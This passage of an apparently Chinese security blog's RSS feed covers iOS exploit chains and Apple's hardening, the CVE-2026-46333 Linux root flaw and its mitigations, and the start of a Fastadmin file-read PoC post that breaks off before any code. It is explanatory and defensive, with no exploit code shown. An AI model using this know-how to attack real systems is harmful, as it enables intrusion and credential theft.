#fff;background: #3DDC84;font-weight: bold;text-align: center;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;四、和 Android 的对比&lt;/span&gt;&lt;/h2&gt;&lt;p style=&quot;margin: 1.5em 8px;letter-spacing: 0.1em;color: hsl(var(--foreground));&quot;&gt;&lt;span leaf=&quot;&quot;&gt;iOS 的漏洞集中度远高于 Android，这背后有架构差异的原因：&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin: 1.5em 8px;letter-spacing: 0.1em;color: hsl(var(--foreground));&quot;&gt;&lt;strong style=&quot;color: #3DDC84;font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;Android 的攻击面更分散。&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;Android 设备的基带处理器、Wi-Fi 芯片、蓝牙栈都有大量独立漏洞，因为 Android OEM 厂商各自实现这些组件，代码来源五花八门。而苹果自研 A 系列芯片、统一管理驱动，使得 iOS 在这些无线攻击面上的漏洞相对较少。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin: 1.5em 8px;letter-spacing: 0.1em;color: hsl(var(--foreground));&quot;&gt;&lt;strong style=&quot;color: #3DDC84;font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;iOS 的 WebKit 是强制垄断。&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;所有 iOS App 必须使用 WebKit 渲染网页（不像 Android 允许 Chrome/Chromium），这让 WebKit 成为 iOS 上独一无二的高价值目标。Android 的浏览器漏洞分散在 Chrome、WebView、各厂商定制浏览器中。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin: 1.5em 8px;letter-spacing: 0.1em;color: hsl(var(--foreground));&quot;&gt;&lt;strong style=&quot;color: #3DDC84;font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;iOS 内核统一但单点风险高。&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;XNU 内核在所有 iOS 设备上一致，一处漏洞全设备通杀。Android 的 Linux 内核因 OEM 定制而碎片化，一个内核漏洞往往只能影响部分设备————这既是安全优势（攻击面分散），也是安全噩梦（补丁推送困难）。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin: 1.5em 8px;letter-spacing: 0.1em;color: hsl(var(--foreground));&quot;&gt;&lt;span leaf=&quot;&quot;&gt;简言之：Android 漏洞多但分散，iOS 漏洞集中但致命。&lt;/span&gt;&lt;/p&gt;&lt;h2 data-heading=&quot;true&quot; style=&quot;display: table;padding: 0 0.2em;margin: 4em auto 2em;color: #fff;background: #3DDC84;font-weight: bold;text-align: center;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;五、三个集群的协作关系&lt;/span&gt;&lt;/h2&gt;&lt;p style=&quot;margin: 1.5em 8px;letter-spacing: 0.1em;color: hsl(var(--foreground));&quot;&gt;&lt;span leaf=&quot;&quot;&gt;这三个集群不是孤立的，它们在真实攻击中形成了一条清晰的攻击链：&lt;/span&gt;&lt;/p&gt;&lt;pre style=&quot;font-size: 90%;overflow-x: auto;border-radius: 8px;line-height: 1.5;margin: 10px 8px;padding: 0;&quot;&gt;&lt;span style=&quot;display: none;padding: 10px 14px 0;&quot;&gt;&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; version=&quot;1.1&quot; x=&quot;0px&quot; y=&quot;0px&quot; width=&quot;45px&quot; height=&quot;13px&quot; viewbox=&quot;0 0 450 130&quot;&gt;&lt;ellipse cx=&quot;50&quot; cy=&quot;65&quot; rx=&quot;50&quot; ry=&quot;52&quot; stroke=&quot;rgb(220,60,54)&quot; stroke-width=&quot;2&quot; fill=&quot;rgb(237,108,96)&quot;&gt;&lt;/ellipse&gt;&lt;ellipse cx=&quot;225&quot; cy=&quot;65&quot; rx=&quot;50&quot; ry=&quot;52&quot; stroke=&quot;rgb(218,151,33)&quot; stroke-width=&quot;2&quot; fill=&quot;rgb(247,193,81)&quot;&gt;&lt;/ellipse&gt;&lt;ellipse cx=&quot;400&quot; cy=&quot;65&quot; rx=&quot;50&quot; ry=&quot;52&quot; stroke=&quot;rgb(27,161,37)&quot; stroke-width=&quot;2&quot; fill=&quot;rgb(100,200,86)&quot;&gt;&lt;/ellipse&gt;&lt;/svg&gt;&lt;/span&gt;&lt;code data-language-pending=&quot;data-language-pending&quot; data-raw-code=&quot;媒体处理 (零点击入口)
    → WebKit (代码执行)
        → 内核 (提权)
            → 完全控制设备&quot; data-show-line-number=&quot;false&quot; style=&quot;font-size: 90%;border-radius: 4px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0;color: inherit;background: none;white-space: nowrap;margin: 0;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;媒体处理 (零点击入口)&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp; &amp;nbsp; → WebKit (代码执行)&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; → 内核 (提权)&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; → 完全控制设备&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p style=&quot;margin: 1.5em 8px;letter-spacing: 0.1em;color: hsl(var(--foreground));&quot;&gt;&lt;span leaf=&quot;&quot;&gt;大多数在野攻击链都遵循这个模式：&lt;/span&gt;&lt;/p&gt;&lt;ol style=&quot;padding-left: 1em;margin-left: 0;color: hsl(var(--foreground));&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;1.&amp;nbsp;&lt;/span&gt;&lt;strong style=&quot;color: #3DDC84;font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;入口&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;：通过媒体处理组件（ImageIO、FontParser）或 WebKit 实现初始代码执行&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;2.&amp;nbsp;&lt;/span&gt;&lt;strong style=&quot;color: #3DDC84;font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;沙箱逃逸&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;：通过 WebKit 或其他机制突破沙箱限制&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;3.&amp;nbsp;&lt;/span&gt;&lt;strong style=&quot;color: #3DDC84;font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;提权&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;：通过内核漏洞获得 root 权限&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;4.&amp;nbsp;&lt;/span&gt;&lt;strong style=&quot;color: #3DDC84;font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;持久化/功能&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;：完全控制设备，部署间谍软件&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p style=&quot;margin: 1.5em 8px;letter-spacing: 0.1em;color: hsl(var(--foreground));&quot;&gt;&lt;span leaf=&quot;&quot;&gt;FORCEDENTRY（2021）走的是&amp;quot;媒体处理 → 内核&amp;quot;路线；BLASTPASS（2023）走的是&amp;quot;WebKit → 内核&amp;quot;路线；Operation Triangulation（2023）则利用了 iMessage 的隐藏附件处理机制。路径不同，终点一致。&lt;/span&gt;&lt;/p&gt;&lt;h2 data-heading=&quot;true&quot; style=&quot;display: table;padding: 0 0.2em;margin: 4em auto 2em;color: #fff;background: #3DDC84;font-weight: bold;text-align: center;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;六、苹果的应对&lt;/span&gt;&lt;/h2&gt;&lt;p style=&quot;margin: 1.5em 8px;letter-spacing: 0.1em;color: hsl(var(--foreground));&quot;&gt;&lt;span leaf=&quot;&quot;&gt;苹果并非没有意识到这种集中性风险。近年来的防御策略，本质上就是在给这三扇门加锁：&lt;/span&gt;&lt;/p&gt;&lt;ul style=&quot;list-style-type: circle;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;•&amp;nbsp;&lt;/span&gt;&lt;strong style=&quot;color: #3DDC84;font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;WebKit 加固&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;：引入 PAC（指针认证码）、JIT 编译器强化、网站隔离（Site Isolation）、Lockdown Mode 中禁用部分 WebKit 特性&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;•&amp;nbsp;&lt;/span&gt;&lt;strong style=&quot;color: #3DDC84;font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;内核加固&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;：KTRR/CTRR（内核只读区域保护）、kalloc/free 机制强化、iOS 16 引入的快速安全响应（Rapid Security Response）&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;•&amp;nbsp;&lt;/span&gt;&lt;strong style=&quot;color: #3DDC84;font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;媒体处理隔离&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;：将 ImageIO、FontParser 等移入独立沙箱进程，限制其权限；iOS 15 起 iMessage 不再自动加载附件&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p style=&quot;margin: 1.5em 8px;letter-spacing: 0.1em;color: hsl(var(--foreground));&quot;&gt;&lt;span leaf=&quot;&quot;&gt;但这些加固有一个共同的局限：它们是在原有架构上的修补，而非架构的重构。WebKit 依然复杂，内核依然是单点，媒体处理依然要自动解析不受信任的数据。只要这些根本条件不变，漏洞就会继续集中在这些组件中。&lt;/span&gt;&lt;/p&gt;&lt;h2 data-heading=&quot;true&quot; style=&quot;display: table;padding: 0 0.2em;margin: 4em auto 2em;color: #fff;background: #3DDC84;font-weight: bold;text-align: center;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;七、本系列要做什么&lt;/span&gt;&lt;/h2&gt;&lt;p style=&quot;margin: 1.5em 8px;letter-spacing: 0.1em;color: hsl(var(--foreground));&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;quot;苹果攻防志·组件篇&amp;quot;系列将逐一深入 iOS 上最关键的攻击面，从漏洞数据、技术原理、在野利用案例到苹果的防御演进，给出完整的攻防图景。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin: 1.5em 8px;letter-spacing: 0.1em;color: hsl(var(--foreground));&quot;&gt;&lt;span leaf=&quot;&quot;&gt;接下来的七篇文章，你会看到：&lt;/span&gt;&lt;/p&gt;&lt;ul style=&quot;list-style-type: circle;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;• WebKit 为什么被称为&amp;quot;新 Flash&amp;quot;，45 个在野利用是怎么发生的&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;• XNU 内核的哪些子组件最脆弱，IOMobileFrameBuffer 为什么四度被在野利用&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;• 一张图片、一个字体如何成为零点击攻击的弹药&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;• 无线攻击面（Wi-Fi、蓝牙、基带）为什么在 iOS 上相对安静&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;• Safari、iMessage 这些 App 层的攻击入口&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;• 从 FORCEDENTRY 到 Operation Triangulation 的完整攻击链复盘&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;• 从零开始理解 iOS 安全术语&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p style=&quot;margin: 1.5em 8px;letter-spacing: 0.1em;color: hsl(var(--foreground));&quot;&gt;&lt;span leaf=&quot;&quot;&gt;每一篇文章都值得单独关注，但更值得把它们连起来读————因为 iOS 攻防从来不是单个组件的故事，而是组件之间如何协作、如何被链条式攻破的故事。&lt;/span&gt;&lt;/p&gt;&lt;hr style=&quot;border-style: solid;border-width: 2px 0 0;border-color: rgba(0, 0, 0, 0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);height: 0.4em;margin: 1.5em 0;&quot;/&gt;&lt;p style=&quot;margin: 1.5em 8px;letter-spacing: 0.1em;color: hsl(var(--foreground));&quot;&gt;&lt;strong style=&quot;color: #3DDC84;font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;苹果攻防志·组件篇 系列目录&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;ul style=&quot;list-style-type: circle;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;•&amp;nbsp;&lt;/span&gt;&lt;strong style=&quot;color: #3DDC84;font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;No.00 总序：iOS 漏洞为什么总出在这几个组件（本文）&lt;/span&gt;&lt;/strong&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;• No.01 WebKit：苹果最危险的组件没有之一&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;• No.02 Kernel：从提权到越狱的必经之路&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;• No.03 媒体处理：一张图片一个字体就能攻破&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;• No.04 无线攻击面：Wi-Fi、蓝牙和基带&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;• No.05 App 层：Safari、消息和那些不起眼的后门&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;• No.06 在野利用链：从 FORCEDENTRY 到 Operation Triangulation&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;• No.07 iOS 安全术语从小白到入门&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/section&gt;&lt;/section&gt;&lt;p style=&quot;display: none;&quot;&gt;&lt;mp-style-type data-value=&quot;10000&quot;&gt;&lt;/mp-style-type&gt;&lt;/p&gt;</description><pubDate>Tue, 23 Jun 2026 09:45:00 +0800</pubDate></item><item><title>一个存在9年的Linux内核漏洞使得在主流发行版上可以执行root命令</title><link>https://www.7x0.cn/post/28.html</link><description>&lt;section style=&quot;text-align: center;text-indent: 0px;&quot;&gt;&lt;img class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-aistatus=&quot;1&quot; data-imgfileid=&quot;100001421&quot; data-s=&quot;300,640&quot; data-w=&quot;861&quot; type=&quot;block&quot; style=&quot;height: auto !important;&quot; src=&quot;https://www.7x0.cn/zb_users/upload/2026/06/20260623094408178217904848260.png&quot; referrerpolicy=&quot;no-referrer&quot;/&gt;&lt;/section&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span leaf=&quot;&quot; mpa-font-style=&quot;mpfd1yyu1f2y&quot; style=&quot;font-size: 15px;&quot;&gt;该漏洞编号为CVE-2026-46333（CVSS 评分：5.5），是由于权限管理不当造成的，可能允许非特权本地用户泄露敏感文件，并在 Debian、Fedora 和 Ubuntu 等多个主流发行版的默认安装中以 root 权限执行任意命令。该漏洞的代号为 ssh-keysign-pwn。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span leaf=&quot;&quot; mpa-font-style=&quot;mpfd1yyu1drb&quot; style=&quot;font-size: 15px;&quot;&gt;成功利用此漏洞可能允许本地攻击者泄露 /etc/shadow 和 /etc/ssh/*_key 下的主机私钥，并通过针对 chage、ssh-keysign、pkexec 和 accounts-daemon 的四个不同的漏洞利用程序以 root 身份执行任意命令。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span leaf=&quot;&quot; mpa-font-style=&quot;mpfd1yyu1uuq&quot; style=&quot;font-size: 15px;&quot;&gt;此次披露正值该漏洞的概念验证（PoC）利用程序上周发布之际，此前不久，一个公开的内核提交也已出现。CVE-2026-46333 是继过去一个月内披露的 Copy Fail、 Dirty Frag和 Fragnesia漏洞之后，Linux 内核中最新披露的安全漏洞。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span leaf=&quot;&quot; mpa-font-style=&quot;mpfd1yyu1ryg&quot; style=&quot;font-size: 15px;&quot;&gt;建议应用 Linux 发行版发布的最新内核更新。如果无法立即进行更新，临时解决方法包括将“kernel.yama.ptrace_scope”的值提高到 2。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span leaf=&quot;&quot; mpa-font-style=&quot;mpfd1yyu7rr&quot; style=&quot;font-size: 15px;&quot;&gt;Qualys表示：“对于在暴露期间允许不受信任的本地用户访问的主机，应将SSH主机密钥和本地缓存的凭据视为可能已泄露。轮换主机密钥，并审查任何存储在set-uid进程内存中的管理资料。”&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;text-align: center;text-indent: 0px;&quot;&gt;&lt;img class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-aistatus=&quot;1&quot; data-imgfileid=&quot;100001422&quot; data-s=&quot;300,640&quot; data-w=&quot;1080&quot; type=&quot;block&quot; style=&quot;height: auto !important;&quot; src=&quot;https://www.7x0.cn/zb_users/upload/2026/06/20260623094408178217904819052.png&quot; referrerpolicy=&quot;no-referrer&quot;/&gt;&lt;/section&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span leaf=&quot;&quot; mpa-font-style=&quot;mpfd1yyun30&quot; style=&quot;font-size: 15px;&quot;&gt;此次开发源于一个名为PinTheft 的本地权限提升漏洞的概念验证 (PoC) 的发布，该漏洞允许本地攻击者在 Arch Linux 系统上获取 root 权限。该漏洞利用需要目标系统加载可靠数据报套接字 (RDS) 模块、启用 io_ring、拥有可读的 SUID-root 二进制文件，以及包含的有效载荷支持 x86_64 架构。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span leaf=&quot;&quot; mpa-font-style=&quot;mpfd1yyu4no&quot; style=&quot;font-size: 15px;&quot;&gt;“该漏洞存在于 RDS 零拷贝发送路径中。rds_message_zcopy_from_user() 函数会逐个锁定用户页面。如果后续页面发生错误，错误路径会丢弃已锁定的页面，而后续的 RDS 消息清理操作会再次丢弃这些页面，因为在零拷贝通知器清除后，分散列表条目和条目计数仍然有效。每次零拷贝发送失败都可能导致第一个页面的一个引用被窃取。”&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;display: none;&quot;&gt;&lt;mp-style-type data-value=&quot;3&quot;&gt;&lt;/mp-style-type&gt;&lt;/p&gt;</description><pubDate>Tue, 23 Jun 2026 09:43:35 +0800</pubDate></item><item><title>Fastadmin框架任意文件读取漏洞 附POC</title><link>https://www.7x0.cn/post/27.html</link><description>&lt;h1 data-pm-slice=&quot;0 0 []&quot;&gt;&lt;span leaf=&quot;&quot;&gt;免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;关。该文章仅供学习用途使用。&lt;/span&gt;&lt;span leaf=&quot;&quot; data-pm-slice=&quot;1 1 [&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;h1&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;data-pm-slice&amp;quot;:&amp;quot;0 0 []&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;}]&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/h1&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-bottom: 0px;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; data-pm-slice=&quot;1 1 [&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;p&amp;quot;,&amp;quot;attributes&amp;quot;:{},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;}]&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;01&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-bottom: 0px;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot; data-pm-slice=&quot;1 1 [&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;p&amp;quot;,&amp;quot;attributes&amp;quot;:{},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;},&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;powered-by&amp;quot;:&amp;quot;xiumi.us&amp;quot;,&amp;quot;style&amp;quot;:&amp;quot;visibility: visible; pointer-events: initial;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;},&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;style&amp;quot;:&amp;quot;visibility: visible; pointer-events: initial;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;},&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;style&amp;quot;:&amp;quot;color: rgb(62, 62, 62); padding-right: 10px; padding-left: 10px; line-height: 1.6; visibility: visible; pointer-events: initial;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;},&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;p&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;style&amp;quot;:&amp;quot;margin-bottom: 0px; color: rgb(62, 62, 62); font-size: 16px; background-color: rgb(255, 255, 255); padding-right: 20px; padding-left: 20px; line-height: 0.8; text-align: center; visibility: visible; pointer-events: initial;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;}]&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;—&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0.578px;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 20px;color: #353535;font-family: &amp;quot;Open Sans&amp;quot;, &amp;quot;Clear Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif;font-weight: 700;letter-spacing: 0.578px;text-align: left;white-space-collapse: preserve;visibility: visible;pointer-events: initial;&quot;&gt;漏洞名称&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0.578px;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);visibility: visible;pointer-events: initial;&quot;&gt;&lt;section powered-by=&quot;xiumi.us&quot; style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;visibility: visible;pointer-events: initial;&quot;&gt;&lt;h1 style=&quot;margin-bottom: 0px;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: left;visibility: visible;pointer-events: initial;&quot; data-pm-slice=&quot;0 0 []&quot;&gt;&lt;span leaf=&quot;&quot;&gt;Fastadmin框架任意文件读取漏洞&lt;/span&gt;&lt;/h1&gt;&lt;/section&gt;&lt;section style=&quot;color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;visibility: visible;pointer-events: initial;&quot;&gt;&lt;h1 style=&quot;margin-bottom: 0px;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: left;visibility: visible;pointer-events: initial;&quot; data-pm-slice=&quot;0 0 []&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/h1&gt;&lt;p style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span style=&quot;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;margin-bottom: 0px;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;p style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;02&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;—&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;background-color: #FFFFFF;line-height: 0.8;text-align: center;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;p style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0.578px;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 20px;color: #353535;font-family: &amp;quot;Open 